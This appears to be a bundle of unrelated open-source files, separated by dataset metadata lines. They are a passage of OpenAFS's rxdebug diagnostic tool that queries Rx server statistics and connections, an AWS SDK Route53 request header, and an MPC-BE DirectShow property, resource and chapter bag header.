host; struct in_addr hostAddr; short port; struct hostent *th; afs_int32 code; int nodally; int allconns; int rxstats; int onlyClient, onlyServer; afs_int32 onlyHost; short onlyPort; int onlyAuth; int flag; int dallyCounter; int withSecStats; int withAllConn; int withRxStats; int withWaiters; int withIdleThreads; int withWaited; int withPeers; int withPackets; struct rx_debugStats tstats; char *portName, *hostName; char hoststr[20]; struct rx_debugConn tconn; short noConns; short showPeers; short showLong; int version_flag; char version[64]; afs_int32 length = 64; afs_uint32 supportedDebugValues = 0; afs_uint32 supportedStatValues = 0; afs_uint32 supportedConnValues = 0; afs_uint32 supportedPeerValues = 0; afs_int32 nextconn = 0; afs_int32 nextpeer = 0; nodally = (as->parms[2].items ? 1 : 0); allconns = (as->parms[3].items ? 1 : 0); rxstats = (as->parms[4].items ? 1 : 0); onlyServer = (as->parms[5].items ? 1 : 0); onlyClient = (as->parms[6].items ? 1 : 0); version_flag = (as->parms[10].items ? 1 : 0); noConns = (as->parms[11].items ? 1 : 0); showPeers = (as->parms[12].items ? 1 : 0); showLong = (as->parms[13].items ? 1 : 0); if (as->parms[0].items) hostName = as->parms[0].items->data; else hostName = NULL; if (as->parms[1].items) portName = as->parms[1].items->data; else portName = NULL; if (as->parms[7].items) { char *name = as->parms[7].items->data; if ((onlyPort = PortNumber(name)) == -1) onlyPort = PortName(name); if (onlyPort == -1) { printf("rxdebug: can't resolve port name %s\n", name); exit(1); } } else onlyPort = -1; if (as->parms[8].items) { char *name = as->parms[8].items->data; struct hostent *th; th = hostutil_GetHostByName(name); if (!th) { printf("rxdebug: host %s not found in host table\n", name); exit(1); } memcpy(&onlyHost, th->h_addr, sizeof(afs_int32)); } else onlyHost = -1; if (as->parms[9].items) { char *name = as->parms[9].items->data; /* Note that this assumes that the security levels for rxkad and rxgk * use the same constants (0, 1, and 2). Perhaps a little ugly, but the * constants being identical makes it really convenient to do it this * way. */ if (strcmp(name, "clear") == 0) onlyAuth = 0; else if (strcmp(name, "auth") == 0) onlyAuth = 1; else if (strcmp(name, "crypt") == 0) onlyAuth = 2; else if ((strcmp(name, "null") == 0) || (strcmp(name, "none") == 0) || (strncmp(name, "noauth", 6) == 0) || (strncmp(name, "unauth", 6) == 0)) onlyAuth = -1; else { fprintf(stderr, "Unknown authentication level: %s\n", name); exit(1); } } else onlyAuth = 999; /* lookup host */ if (hostName) { th = hostutil_GetHostByName(hostName); if (!th) { printf("rxdebug: host %s not found in host table\n", hostName); exit(1); } memcpy(&host, th->h_addr, sizeof(afs_int32)); } else host = htonl(0x7f000001); /* IP localhost */ if (!portName) port = htons(7000); /* default is fileserver */ else { if ((port = PortNumber(portName)) == -1) port = PortName(portName); if (port == -1) { printf("rxdebug: can't resolve port name %s\n", portName); exit(1); } } dallyCounter = 0; hostAddr.s_addr = host; afs_inet_ntoa_r(hostAddr.s_addr, hoststr); printf("Trying %s (port %d):\n", hoststr, ntohs(port)); s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (s == OSI_NULLSOCKET) { #ifdef AFS_NT40_ENV fprintf(stderr, "socket() failed with error %u\n", WSAGetLastError()); #else perror("socket"); #endif exit(1); } taddr.sin_family = AF_INET; taddr.sin_port = 0; taddr.sin_addr.s_addr = 0; #ifdef STRUCT_SOCKADDR_HAS_SA_LEN taddr.sin_len = sizeof(struct sockaddr_in); #endif code = bind(s, (struct sockaddr *)&taddr, sizeof(struct sockaddr_in)); if (code) { #ifdef AFS_NT40_ENV fprintf(stderr, "bind() failed with error %u\n", WSAGetLastError()); #else perror("bind"); #endif exit(1); } if (version_flag) { memset(version, 0, sizeof(version)); code = rx_GetServerVersion(s, host, port, length, version); if (code < 0) { printf("get version call failed with code %d, errno %d\n", code, errno); exit(1); } version[sizeof(version) - 1] = '\0'; printf("AFS version: %s\n", version); fflush(stdout); exit(0); } code = rx_GetServerDebug(s, host, port, &tstats, &supportedDebugValues); if (code < 0) { printf("getstats call failed with code %d\n", code); exit(1); } withSecStats = (supportedDebugValues & RX_SERVER_DEBUG_SEC_STATS); withAllConn = (supportedDebugValues & RX_SERVER_DEBUG_ALL_CONN); withRxStats = (supportedDebugValues & RX_SERVER_DEBUG_RX_STATS); withWaiters = (supportedDebugValues & RX_SERVER_DEBUG_WAITER_CNT); withIdleThreads = (supportedDebugValues & RX_SERVER_DEBUG_IDLE_THREADS); withWaited = (supportedDebugValues & RX_SERVER_DEBUG_WAITED_CNT); withPeers = (supportedDebugValues & RX_SERVER_DEBUG_ALL_PEER); withPackets = (supportedDebugValues & RX_SERVER_DEBUG_PACKETS_CNT); if (withPackets) printf("Free packets: %d/%d, packet reclaims: %d, calls: %d, used FDs: %d\n", tstats.nFreePackets, tstats.nPackets, tstats.packetReclaims, tstats.callsExecuted, tstats.usedFDs); else printf("Free packets: %d, packet reclaims: %d, calls: %d, used FDs: %d\n", tstats.nFreePackets, tstats.packetReclaims, tstats.callsExecuted, tstats.usedFDs); if (!tstats.waitingForPackets) printf("not "); printf("waiting for packets.\n"); if (withWaiters) printf("%d calls waiting for a thread\n", tstats.nWaiting); if (withIdleThreads) printf("%d threads are idle\n", tstats.idleThreads); if (withWaited) printf("%d calls have waited for a thread\n", tstats.nWaited); if (rxstats) { if (!withRxStats) { noRxStats: withRxStats = 0; fprintf(stderr, "WARNING: Server doesn't support retrieval of Rx statistics\n"); } else { struct rx_statistics rxstats; /* should gracefully handle the case where rx_stats grows */ code = rx_GetServerStats(s, host, port, &rxstats, &supportedStatValues); if (code < 0) { printf("rxstats call failed with code %d\n", code); exit(1); } if (code != sizeof(rxstats)) { struct rx_debugIn debug; memcpy(&debug, &rxstats, sizeof(debug)); if (debug.type == RX_DEBUGI_BADTYPE) goto noRxStats; printf ("WARNING: returned Rx statistics of unexpected size (got %d)\n", code); /* handle other versions?... */ } rx_PrintTheseStats(stdout, &rxstats, sizeof(rxstats), tstats.nFreePackets, tstats.version); } } if (!noConns) { if (allconns) { if (!withAllConn) fprintf(stderr, "WARNING: Server doesn't support retrieval of all connections,\n getting only interesting instead.\n"); } if (onlyServer) printf("Showing only server connections\n"); if (onlyClient) printf("Showing only client connections\n"); if (onlyAuth != 999) { static char *name[] = { "unauthenticated", "clear", "auth", "crypt" }; printf("Showing only %s connections\n", name[onlyAuth + 1]); } if (onlyHost != -1) { hostAddr.s_addr = onlyHost; afs_inet_ntoa_r(hostAddr.s_addr, hoststr); printf("Showing only connections from host %s\n", hoststr); } if (onlyPort != -1) printf("Showing only connections on port %u\n", ntohs(onlyPort)); for (i = 0;; i++) { code = rx_GetServerConnections(s, host, port, &nextconn, allconns, supportedDebugValues, &tconn, &supportedConnValues); if (code < 0) { printf("getconn call failed with code %d\n", code); break; } if (tconn.cid == (afs_int32) 0xffffffff) { printf("Done.\n"); break; } /* see if we're in nodally mode and all calls are dallying */ if (nodally) { flag = 0; for (j = 0; j < RX_MAXCALLS; j++) { if (tconn.callState[j] != RX_STATE_NOTINIT && tconn.callState[j] != RX_STATE_DALLY) { flag = 1; break; } } if (flag == 0) { /* this call looks too ordinary, bump skipped count and go * around again */ dallyCounter++; continue; } } if ((onlyHost != -1) && (onlyHost != tconn.host)) continue; if ((onlyPort != -1) && (onlyPort != tconn.port)) continue; if (onlyServer && (tconn.type != RX_SERVER_CONNECTION)) continue; if (onlyClient && (tconn.type != RX_CLIENT_CONNECTION)) continue; if (onlyAuth != 999) { if (onlyAuth == -1) { if (tconn.securityIndex != RX_SECIDX_NULL) continue; } else { if (tconn.securityIndex != RX_SECIDX_KAD) { #ifdef ENABLE_RXGK if (tconn.securityIndex != RX_SECIDX_GK) #endif continue; } if (withSecStats && (tconn.secStats.type == RX_SECTYPE_KAD) && (tconn.secStats.level != onlyAuth)) continue; #ifdef ENABLE_RXGK if (withSecStats && (tconn.secStats.type == RX_SECTYPE_GK) && (tconn.secStats.level != onlyAuth)) continue; #endif } } /* now display the connection */ hostAddr.s_addr = tconn.host; afs_inet_ntoa_r(hostAddr.s_addr, hoststr); printf("Connection from host %s, port %hu, ", hoststr, ntohs(tconn.port)); if (tconn.epoch) printf("Cuid %x/%x", tconn.epoch, tconn.cid); else printf("cid %x", tconn.cid); if (tconn.error) printf(", error %d", tconn.error); printf("\n serial %d, ", tconn.serial); printf(" natMTU %d, ", tconn.natMTU); if (tconn.flags) { printf("flags"); if (tconn.flags & RX_CONN_MAKECALL_WAITING) printf(" MAKECALL_WAITING"); if (tconn.flags & RX_CONN_DESTROY_ME) printf(" DESTROYED"); if (tconn.flags & RX_CONN_USING_PACKET_CKSUM) printf(" pktCksum"); if (tconn.flags & RX_CONN_KNOW_WINDOW) printf(" knowWindow"); if (tconn.flags & RX_CONN_RESET) printf(" reset"); if (tconn.flags & RX_CONN_BUSY) printf(" busy"); if (tconn.flags & RX_CONN_ATTACHWAIT) printf(" attachWait"); printf(", "); } printf("security index %d, ", tconn.securityIndex); if (tconn.type == RX_CLIENT_CONNECTION) printf("client conn\n"); else printf("server conn\n"); if (withSecStats) { switch ((int)tconn.secStats.type) { case RX_SECTYPE_UNK: if (tconn.securityIndex == RX_SECIDX_KAD) printf (" no GetStats procedure for security object\n"); break; case RX_SECTYPE_NULL: printf(" rxnull level=%d, flags=%d\n", tconn.secStats.level, tconn.secStats.flags); break; case RX_SECTYPE_VAB: printf(" rxvab level=%d, flags=%d\n", tconn.secStats.level, tconn.secStats.flags); break; case RX_SECTYPE_KAD:{ char *level; char flags = tconn.secStats.flags; if (tconn.secStats.level == 0) level = "clear"; else if (tconn.secStats.level == 1) level = "auth"; else if (tconn.secStats.level == 2) level = "crypt"; else level = "unknown"; printf(" rxkad: level %s", level); if (flags) printf(", flags"); if (flags & 1) printf(" unalloc"); if (flags & 2) printf(" authenticated"); if (flags & 4) printf(" expired"); if (flags & 8) printf(" pktCksum"); if (tconn.secStats.expires) /* Apparently due to a bug in the RT compiler that * prevents (afs_uint32)0xffffffff => (double) from working, * this code produces negative lifetimes when run on the * RT. */ printf(", expires in %.1f hours", ((afs_uint32) tconn.secStats.expires - time(0)) / 3600.0); if (!(flags & 1)) { printf("\n Received %u bytes in %u packets\n", tconn.secStats.bytesReceived, tconn.secStats.packetsReceived); printf(" Sent %u bytes in %u packets\n", tconn.secStats.bytesSent, tconn.secStats.packetsSent); } else printf("\n"); break; } #ifdef ENABLE_RXGK case RX_SECTYPE_GK: { char *level; char flags = tconn.secStats.flags; if (tconn.secStats.level == RXGK_LEVEL_CLEAR) level = "clear"; else if (tconn.secStats.level == RXGK_LEVEL_AUTH) level = "auth"; else if (tconn.secStats.level == RXGK_LEVEL_CRYPT) level = "crypt"; else level = "unknown"; printf(" rxgk: level %s", level); if (flags) printf(", flags"); if ((flags & RXGK_STATS_UNALLOC)) printf(" unalloc"); if ((flags & RXGK_STATS_AUTH)) printf(" authenticated"); if (tconn.secStats.expires) printf(", expires in %.1f hours", ((afs_uint32) tconn.secStats.expires - time(0)) / 3600.0); if (!(flags & RXGK_STATS_UNALLOC)) { printf("\n Received %u bytes in %u packets\n", tconn.secStats.bytesReceived, tconn.secStats.packetsReceived); printf(" Sent %u bytes in %u packets\n", tconn.secStats.bytesSent, tconn.secStats.packetsSent); } else printf("\n"); break; } #endif /* ENABLE_RXGK */ default: printf(" unknown\n"); } } for (j = 0; j < RX_MAXCALLS; j++) { printf(" call %d: # %d, state ", j, tconn.callNumber[j]); if (tconn.callState[j] == RX_STATE_NOTINIT) { printf("not initialized\n"); continue; } else if (tconn.callState[j] == RX_STATE_PRECALL) printf("precall, "); else if (tconn.callState[j] == RX_STATE_ACTIVE) printf("active, "); else if (tconn.callState[j] == RX_STATE_DALLY) printf("dally, "); else if (tconn.callState[j] == RX_STATE_HOLD) printf("hold, "); else if (tconn.callState[j] == RX_STATE_RESET) printf("reset, "); printf("mode: "); if (tconn.callMode[j] == RX_MODE_SENDING) printf("sending"); else if (tconn.callMode[j] == RX_MODE_RECEIVING) printf("receiving"); else if (tconn.callMode[j] == RX_MODE_ERROR) printf("error"); else if (tconn.callMode[j] == RX_MODE_EOF) printf("eof"); else printf("unknown"); if (tconn.callFlags[j]) { printf(", flags:"); if (tconn.callFlags[j] & RX_CALL_READER_WAIT) printf(" reader_wait"); if (tconn.callFlags[j] & RX_CALL_WAIT_WINDOW_ALLOC) printf(" window_alloc"); if (tconn.callFlags[j] & RX_CALL_WAIT_WINDOW_SEND) printf(" window_send"); if (tconn.callFlags[j] & RX_CALL_WAIT_PACKETS) printf(" wait_packets"); if (tconn.callFlags[j] & RX_CALL_WAIT_PROC) printf(" waiting_for_process"); if (tconn.callFlags[j] & RX_CALL_RECEIVE_DONE) printf(" receive_done"); if (tconn.callFlags[j] & RX_CALL_CLEARED) printf(" call_cleared"); } if (tconn.callOther[j] & RX_OTHER_IN) printf(", has_input_packets"); if (tconn.callOther[j] & RX_OTHER_OUT) printf(", has_output_packets"); printf("\n"); } } if (nodally) printf("Skipped %d dallying connections.\n", dallyCounter); } if (showPeers && withPeers) { for (i = 0;; i++) { struct rx_debugPeer tpeer; code = rx_GetServerPeers(s, host, port, &nextpeer, allconns, &tpeer, &supportedPeerValues); if (code < 0) { printf("getpeer call failed with code %d\n", code); break; } if (tpeer.host == 0xffffffff) { printf("Done.\n"); break; } if ((onlyHost != -1) && (onlyHost != tpeer.host)) continue; if ((onlyPort != -1) && (onlyPort != tpeer.port)) continue; /* now display the peer */ hostAddr.s_addr = tpeer.host; afs_inet_ntoa_r(hostAddr.s_addr, hoststr); printf("Peer at host %s, port %hu\n", hoststr, ntohs(tpeer.port)); printf("\tifMTU %hu\tnatMTU %hu\tmaxMTU %hu\n", tpeer.ifMTU, tpeer.natMTU, tpeer.maxMTU); printf("\tpackets sent %u\tpacket resends %u\n", tpeer.nSent, tpeer.reSends); printf("\tbytes sent high %u low %u\n", tpeer.bytesSent.high, tpeer.bytesSent.low); printf("\tbytes received high %u low %u\n", tpeer.bytesReceived.high, tpeer.bytesReceived.low); printf("\trtt %u msec, rtt_dev %u msec\n", tpeer.rtt >> 3, tpeer.rtt_dev >> 2); printf("\ttimeout %u.%03u sec\n", tpeer.timeout.sec, tpeer.timeout.usec / 1000); if (!showLong) continue; printf("\tin/out packet skew: %d/%d\n", tpeer.inPacketSkew, tpeer.outPacketSkew); printf("\tcongestion window %d, MTU %d\n", tpeer.cwind, tpeer.MTU); printf("\tcurrent/if/max jumbogram size: %d/%d/%d\n", tpeer.nDgramPackets, tpeer.ifDgramPackets, tpeer.maxDgramPackets); } } exit(0); } /* simple main program */ #ifndef AFS_NT40_ENV #include "AFS_component_version_number.c" #endif int main(int argc, char **argv) { struct cmd_syndesc *ts; #ifdef RXDEBUG rxi_DebugInit(); #endif #ifdef AFS_NT40_ENV if (afs_winsockInit() < 0) { printf("%s: Couldn't initialize winsock. Exiting...\n", argv[0]); return 1; } #endif ts = cmd_CreateSyntax(NULL, MainCommand, NULL, 0, "probe RX server"); cmd_AddParm(ts, "-servers", CMD_SINGLE, CMD_REQUIRED, "server machine"); cmd_AddParm(ts, "-port", CMD_SINGLE, CMD_OPTIONAL, "IP port"); cmd_AddParm(ts, "-nodally", CMD_FLAG, CMD_OPTIONAL, "don't show dallying conns"); cmd_AddParm(ts, "-allconnections", CMD_FLAG, CMD_OPTIONAL, "don't filter out uninteresting connections on server"); cmd_AddParm(ts, "-rxstats", CMD_FLAG, CMD_OPTIONAL, "show Rx statistics"); cmd_AddParm(ts, "-onlyserver", CMD_FLAG, CMD_OPTIONAL, "only show server conns"); cmd_AddParm(ts, "-onlyclient", CMD_FLAG, CMD_OPTIONAL, "only show client conns"); cmd_AddParm(ts, "-onlyport", CMD_SINGLE, CMD_OPTIONAL, "show only <port>"); cmd_AddParm(ts, "-onlyhost", CMD_SINGLE, CMD_OPTIONAL, "show only <host>"); cmd_AddParm(ts, "-onlyauth", CMD_SINGLE, CMD_OPTIONAL, "show only <auth level>"); cmd_AddParm(ts, "-version", CMD_FLAG, CMD_OPTIONAL, "show AFS version id"); cmd_AddParm(ts, "-noconns", CMD_FLAG, CMD_OPTIONAL, "show no connections"); cmd_AddParm(ts, "-peers", CMD_FLAG, CMD_OPTIONAL, "show peers"); cmd_AddParm(ts, "-long", CMD_FLAG, CMD_OPTIONAL, "detailed output"); cmd_Dispatch(argc, argv); exit(0); }
29.073206
114
0.618271
[ "object" ]
5cdb1c12572657f14f9e3555433c089c8beae9fa
7,712
h
C
aws-cpp-sdk-route53/include/aws/route53/model/CreateTrafficPolicyVersionRequest.h
ploki/aws-sdk-cpp
17074e3e48c7411f81294e2ee9b1550c4dde842c
[ "Apache-2.0" ]
2
2019-03-11T15:50:55.000Z
2020-02-27T11:40:27.000Z
aws-cpp-sdk-route53/include/aws/route53/model/CreateTrafficPolicyVersionRequest.h
ploki/aws-sdk-cpp
17074e3e48c7411f81294e2ee9b1550c4dde842c
[ "Apache-2.0" ]
18
2018-05-15T16:41:07.000Z
2018-05-21T00:46:30.000Z
aws-cpp-sdk-route53/include/aws/route53/model/CreateTrafficPolicyVersionRequest.h
ploki/aws-sdk-cpp
17074e3e48c7411f81294e2ee9b1550c4dde842c
[ "Apache-2.0" ]
1
2019-10-31T11:19:50.000Z
2019-10-31T11:19:50.000Z
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #pragma once #include <aws/route53/Route53_EXPORTS.h> #include <aws/route53/Route53Request.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <utility> namespace Aws { namespace Route53 { namespace Model { /** * <p>A complex type that contains information about the traffic policy that you * want to create a new version for.</p><p><h3>See Also:</h3> <a * href="http://docs.aws.amazon.com/goto/WebAPI/route53-2013-04-01/CreateTrafficPolicyVersionRequest">AWS * API Reference</a></p> */ class AWS_ROUTE53_API CreateTrafficPolicyVersionRequest : public Route53Request { public: CreateTrafficPolicyVersionRequest(); // Service request name is the Operation name which will send this request out, // each operation should has unique request name, so that we can get operation's name from this request. // Note: this is not true for response, multiple operations may have the same response name, // so we can not get operation's name from response. inline virtual const char* GetServiceRequestName() const override { return "CreateTrafficPolicyVersion"; } Aws::String SerializePayload() const override; /** * <p>The ID of the traffic policy for which you want to create a new version.</p> */ inline const Aws::String& GetId() const{ return m_id; } /** * <p>The ID of the traffic policy for which you want to create a new version.</p> */ inline void SetId(const Aws::String& value) { m_idHasBeenSet = true; m_id = value; } /** * <p>The ID of the traffic policy for which you want to create a new version.</p> */ inline void SetId(Aws::String&& value) { m_idHasBeenSet = true; m_id = std::move(value); } /** * <p>The ID of the traffic policy for which you want to create a new version.</p> */ inline void SetId(const char* value) { m_idHasBeenSet = true; m_id.assign(value); } /** * <p>The ID of the traffic policy for which you want to create a new version.</p> */ inline CreateTrafficPolicyVersionRequest& WithId(const Aws::String& value) { SetId(value); return *this;} /** * <p>The ID of the traffic policy for which you want to create a new version.</p> */ inline CreateTrafficPolicyVersionRequest& WithId(Aws::String&& value) { SetId(std::move(value)); return *this;} /** * <p>The ID of the traffic policy for which you want to create a new version.</p> */ inline CreateTrafficPolicyVersionRequest& WithId(const char* value) { SetId(value); return *this;} /** * <p>The definition of this version of the traffic policy, in JSON format. You * specified the JSON in the <code>CreateTrafficPolicyVersion</code> request. For * more information about the JSON format, see <a>CreateTrafficPolicy</a>.</p> */ inline const Aws::String& GetDocument() const{ return m_document; } /** * <p>The definition of this version of the traffic policy, in JSON format. You * specified the JSON in the <code>CreateTrafficPolicyVersion</code> request. For * more information about the JSON format, see <a>CreateTrafficPolicy</a>.</p> */ inline void SetDocument(const Aws::String& value) { m_documentHasBeenSet = true; m_document = value; } /** * <p>The definition of this version of the traffic policy, in JSON format. You * specified the JSON in the <code>CreateTrafficPolicyVersion</code> request. For * more information about the JSON format, see <a>CreateTrafficPolicy</a>.</p> */ inline void SetDocument(Aws::String&& value) { m_documentHasBeenSet = true; m_document = std::move(value); } /** * <p>The definition of this version of the traffic policy, in JSON format. You * specified the JSON in the <code>CreateTrafficPolicyVersion</code> request. For * more information about the JSON format, see <a>CreateTrafficPolicy</a>.</p> */ inline void SetDocument(const char* value) { m_documentHasBeenSet = true; m_document.assign(value); } /** * <p>The definition of this version of the traffic policy, in JSON format. You * specified the JSON in the <code>CreateTrafficPolicyVersion</code> request. For * more information about the JSON format, see <a>CreateTrafficPolicy</a>.</p> */ inline CreateTrafficPolicyVersionRequest& WithDocument(const Aws::String& value) { SetDocument(value); return *this;} /** * <p>The definition of this version of the traffic policy, in JSON format. You * specified the JSON in the <code>CreateTrafficPolicyVersion</code> request. For * more information about the JSON format, see <a>CreateTrafficPolicy</a>.</p> */ inline CreateTrafficPolicyVersionRequest& WithDocument(Aws::String&& value) { SetDocument(std::move(value)); return *this;} /** * <p>The definition of this version of the traffic policy, in JSON format. You * specified the JSON in the <code>CreateTrafficPolicyVersion</code> request. For * more information about the JSON format, see <a>CreateTrafficPolicy</a>.</p> */ inline CreateTrafficPolicyVersionRequest& WithDocument(const char* value) { SetDocument(value); return *this;} /** * <p>The comment that you specified in the <code>CreateTrafficPolicyVersion</code> * request, if any.</p> */ inline const Aws::String& GetComment() const{ return m_comment; } /** * <p>The comment that you specified in the <code>CreateTrafficPolicyVersion</code> * request, if any.</p> */ inline void SetComment(const Aws::String& value) { m_commentHasBeenSet = true; m_comment = value; } /** * <p>The comment that you specified in the <code>CreateTrafficPolicyVersion</code> * request, if any.</p> */ inline void SetComment(Aws::String&& value) { m_commentHasBeenSet = true; m_comment = std::move(value); } /** * <p>The comment that you specified in the <code>CreateTrafficPolicyVersion</code> * request, if any.</p> */ inline void SetComment(const char* value) { m_commentHasBeenSet = true; m_comment.assign(value); } /** * <p>The comment that you specified in the <code>CreateTrafficPolicyVersion</code> * request, if any.</p> */ inline CreateTrafficPolicyVersionRequest& WithComment(const Aws::String& value) { SetComment(value); return *this;} /** * <p>The comment that you specified in the <code>CreateTrafficPolicyVersion</code> * request, if any.</p> */ inline CreateTrafficPolicyVersionRequest& WithComment(Aws::String&& value) { SetComment(std::move(value)); return *this;} /** * <p>The comment that you specified in the <code>CreateTrafficPolicyVersion</code> * request, if any.</p> */ inline CreateTrafficPolicyVersionRequest& WithComment(const char* value) { SetComment(value); return *this;} private: Aws::String m_id; bool m_idHasBeenSet; Aws::String m_document; bool m_documentHasBeenSet; Aws::String m_comment; bool m_commentHasBeenSet; }; } // namespace Model } // namespace Route53 } // namespace Aws
40.166667
127
0.689575
[ "model" ]
5cdbd03d942f58b0631dbfa525acd4df33a59d47
6,514
h
C
module/mpc-be/SRC/src/DSUtil/DSMPropertyBag.h
1aq/PBox
67ced599ee36ceaff097c6584f8100cf96006dfe
[ "MIT" ]
null
null
null
module/mpc-be/SRC/src/DSUtil/DSMPropertyBag.h
1aq/PBox
67ced599ee36ceaff097c6584f8100cf96006dfe
[ "MIT" ]
null
null
null
module/mpc-be/SRC/src/DSUtil/DSMPropertyBag.h
1aq/PBox
67ced599ee36ceaff097c6584f8100cf96006dfe
[ "MIT" ]
null
null
null
/* * (C) 2003-2006 Gabest * (C) 2006-2018 see Authors.txt * * This file is part of MPC-BE. * * MPC-BE is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * MPC-BE is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ #pragma once #include <vector> #include <map> // IDSMPropertyBag interface __declspec(uuid("232FD5D2-4954-41E7-BF9B-09E1257B1A95")) IDSMPropertyBag : public IPropertyBag2 { STDMETHOD(SetProperty) (LPCWSTR key, LPCWSTR value) PURE; STDMETHOD(SetProperty) (LPCWSTR key, VARIANT* var) PURE; STDMETHOD(GetProperty) (LPCWSTR key, BSTR* value) PURE; STDMETHOD(DelAllProperties) () PURE; STDMETHOD(DelProperty) (LPCWSTR key) PURE; }; class IDSMPropertyBagImpl : public ATL::CSimpleMap<CStringW, CStringW>, public IDSMPropertyBag, public IPropertyBag { BOOL Add(const CStringW& key, const CStringW& val) { return __super::Add(key, val); } BOOL SetAt(const CStringW& key, const CStringW& val) { return __super::SetAt(key, val); } public: IDSMPropertyBagImpl(); virtual ~IDSMPropertyBagImpl(); // IPropertyBag STDMETHODIMP Read(LPCOLESTR pszPropName, VARIANT* pVar, IErrorLog* pErrorLog); STDMETHODIMP Write(LPCOLESTR pszPropName, VARIANT* pVar); // IPropertyBag2 STDMETHODIMP Read(ULONG cProperties, PROPBAG2* pPropBag, IErrorLog* pErrLog, VARIANT* pvarValue, HRESULT* phrError); STDMETHODIMP Write(ULONG cProperties, PROPBAG2* pPropBag, VARIANT* pvarValue); STDMETHODIMP CountProperties(ULONG* pcProperties); STDMETHODIMP GetPropertyInfo(ULONG iProperty, ULONG cProperties, PROPBAG2* pPropBag, ULONG* pcProperties); STDMETHODIMP LoadObject(LPCOLESTR pstrName, DWORD dwHint, IUnknown* pUnkObject, IErrorLog* pErrLog); // IDSMPropertyBag STDMETHODIMP SetProperty(LPCWSTR key, LPCWSTR value); STDMETHODIMP SetProperty(LPCWSTR key, VARIANT* var); STDMETHODIMP GetProperty(LPCWSTR key, BSTR* value); STDMETHODIMP DelAllProperties(); STDMETHODIMP DelProperty(LPCWSTR key); }; // IDSMResourceBag interface __declspec(uuid("EBAFBCBE-BDE0-489A-9789-05D5692E3A93")) IDSMResourceBag : public IUnknown { STDMETHOD_(DWORD, ResGetCount) () PURE; STDMETHOD(ResGet) (DWORD iIndex, BSTR* ppName, BSTR* ppDesc, BSTR* ppMime, BYTE** ppData, DWORD* pDataLen, DWORD_PTR* pTag) PURE; STDMETHOD(ResSet) (DWORD iIndex, LPCWSTR pName, LPCWSTR pDesc, LPCWSTR pMime, BYTE* pData, DWORD len, DWORD_PTR tag) PURE; STDMETHOD(ResAppend) (LPCWSTR pName, LPCWSTR pDesc, LPCWSTR pMime, BYTE* pData, DWORD len, DWORD_PTR tag) PURE; STDMETHOD(ResRemoveAt) (DWORD iIndex) PURE; STDMETHOD(ResRemoveAll) (DWORD_PTR tag) PURE; }; class CDSMResource { public: DWORD_PTR tag; CStringW name, desc, mime; std::vector<BYTE> data; CDSMResource(); CDSMResource(const CDSMResource& r); CDSMResource(LPCWSTR name, LPCWSTR desc, LPCWSTR mime, BYTE* pData, int len, DWORD_PTR tag = 0); virtual ~CDSMResource(); CDSMResource& operator = (const CDSMResource& r); // global access to all resources static CCritSec m_csResources; static std::map<uintptr_t, CDSMResource*> m_resources; }; class IDSMResourceBagImpl : public IDSMResourceBag { protected: std::vector<CDSMResource> m_resources; public: IDSMResourceBagImpl(); void operator += (const CDSMResource& r) { m_resources.emplace_back(r); } // IDSMResourceBag STDMETHODIMP_(DWORD) ResGetCount(); STDMETHODIMP ResGet(DWORD iIndex, BSTR* ppName, BSTR* ppDesc, BSTR* ppMime, BYTE** ppData, DWORD* pDataLen, DWORD_PTR* pTag = nullptr); STDMETHODIMP ResSet(DWORD iIndex, LPCWSTR pName, LPCWSTR pDesc, LPCWSTR pMime, BYTE* pData, DWORD len, DWORD_PTR tag = 0); STDMETHODIMP ResAppend(LPCWSTR pName, LPCWSTR pDesc, LPCWSTR pMime, BYTE* pData, DWORD len, DWORD_PTR tag = 0); STDMETHODIMP ResRemoveAt(DWORD iIndex); STDMETHODIMP ResRemoveAll(DWORD_PTR tag = 0); }; // IDSMChapterBag interface __declspec(uuid("2D0EBE73-BA82-4E90-859B-C7C48ED3650F")) IDSMChapterBag : public IUnknown { STDMETHOD_(DWORD, ChapGetCount) () PURE; STDMETHOD(ChapGet) (DWORD iIndex, REFERENCE_TIME* prt, BSTR* ppName) PURE; STDMETHOD(ChapSet) (DWORD iIndex, REFERENCE_TIME rt, LPCWSTR pName) PURE; STDMETHOD(ChapAppend) (REFERENCE_TIME rt, LPCWSTR pName) PURE; STDMETHOD(ChapRemoveAt) (DWORD iIndex) PURE; STDMETHOD(ChapRemoveAll) () PURE; STDMETHOD_(long, ChapLookup) (REFERENCE_TIME* prt, BSTR* ppName) PURE; STDMETHOD(ChapSort) () PURE; }; class CDSMChapter { static int counter; int order; public: REFERENCE_TIME rt; CStringW name; CDSMChapter(); CDSMChapter(REFERENCE_TIME rt, LPCWSTR name); //CDSMChapter& operator = (const CDSMChapter& c); static int Compare(const void* a, const void* b); }; class IDSMChapterBagImpl : public IDSMChapterBag { protected: std::vector<CDSMChapter> m_chapters; bool m_fSorted; public: IDSMChapterBagImpl(); void operator += (const CDSMChapter& c) { m_chapters.emplace_back(c); m_fSorted = false; } // IDSMChapterBag STDMETHODIMP_(DWORD) ChapGetCount(); STDMETHODIMP ChapGet(DWORD iIndex, REFERENCE_TIME* prt, BSTR* ppName = nullptr); STDMETHODIMP ChapSet(DWORD iIndex, REFERENCE_TIME rt, LPCWSTR pName); STDMETHODIMP ChapAppend(REFERENCE_TIME rt, LPCWSTR pName); STDMETHODIMP ChapRemoveAt(DWORD iIndex); STDMETHODIMP ChapRemoveAll(); STDMETHODIMP_(long) ChapLookup(REFERENCE_TIME* prt, BSTR* ppName = nullptr); STDMETHODIMP ChapSort(); }; class CDSMChapterBag : public CUnknown, public IDSMChapterBagImpl { public: CDSMChapterBag(LPUNKNOWN pUnk, HRESULT* phr); DECLARE_IUNKNOWN; STDMETHODIMP NonDelegatingQueryInterface(REFIID riid, void** ppv); }; 